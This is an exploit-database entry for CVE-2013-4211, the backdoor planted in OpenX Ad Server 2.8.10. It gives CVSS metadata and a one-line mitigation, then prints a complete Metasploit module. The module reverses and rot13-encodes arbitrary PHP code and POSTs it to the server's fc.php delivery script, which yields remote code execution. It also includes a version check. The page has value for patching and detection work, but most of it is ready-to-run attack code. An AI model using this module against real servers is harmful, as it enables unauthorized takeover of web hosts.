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vendor:
OpenX Ad Server
by:
egypt, Unknown
9,8
CVSS
CRITICAL
Remote Code Execution
78
CWE
Product Name: OpenX Ad Server
Affected Version From: 2.8.10
Affected Version To: 2.8.10
Patch Exists: YES
Related CWE: CVE-2013-4211
CPE: a:openx:openx_ad_server
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: PHP
2013

OpenX Backdoor PHP Code Execution

OpenX Ad Server version 2.8.10 was shipped with an obfuscated backdoor since at least November 2012 through August 2013. Exploitation is simple, requiring only a single request with a rot13'd and reversed payload.

Mitigation:

Upgrade to the latest version of OpenX Ad Server
Source

Exploit-DB raw data:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenX Backdoor PHP Code Execution',
      'Description'    => %q{
        OpenX Ad Server version 2.8.10 was shipped with an obfuscated
        backdoor since at least November 2012 through August 2013.
        Exploitation is simple, requiring only a single request with a
        rot13'd and reversed payload.
      },
      'Author'         =>
        [
          'egypt',   # Metasploit module, shouts to bperry for hooking me up with the vuln software
          'Unknown', # Someone planted this backdoor...
        ],
      'License'        => MSF_LICENSE,
      'References'     => [
          [ 'CVE', '2013-4211' ],
          [ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],
          [ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space'       => 262144, # 256k
        },
      'DisclosureDate' => 'Aug 07 2013',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Generic (PHP payload)', { }]],
      'DefaultTarget' => 0))

    register_options([
      OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
    ], self.class)
  end

  def check
    token = rand_text_alpha(20)
    response = execute_php("echo '#{token} '.phpversion();die();")

    if response.nil?
      CheckCode::Unknown
    elsif response.body =~ /#{token} ((:?\d\.?)+)/
      print_status("PHP Version #{$1}")
      return CheckCode::Vulnerable
    end
    return CheckCode::Safe
  end

  def exploit
    execute_php(payload.encoded)

    handler
  end

  def execute_php(php_code)
    money = rot13(php_code.reverse)
    begin
      response = send_request_cgi( {
        'method' => "POST",
        'global' => true,
        'uri'    => normalize_uri(target_uri.path,"www","delivery","fc.php"),
        'vars_get' => {
          'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
          'script' => 'deliveryLog:vastServeVideoPlayer:player'
        },
        'vars_post' => {
          'vastPlayer' => money
        },
      }, 0.1)
    rescue ::Rex::ConnectionError => e
      fail_with(Failure::Unreachable, e.message)
    rescue ::OpenSSL::SSL::SSLError
      fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
    end

    response
  end

  def rot13(str)
    str.tr! "A-Za-z", "N-ZA-Mn-za-m"
  end

end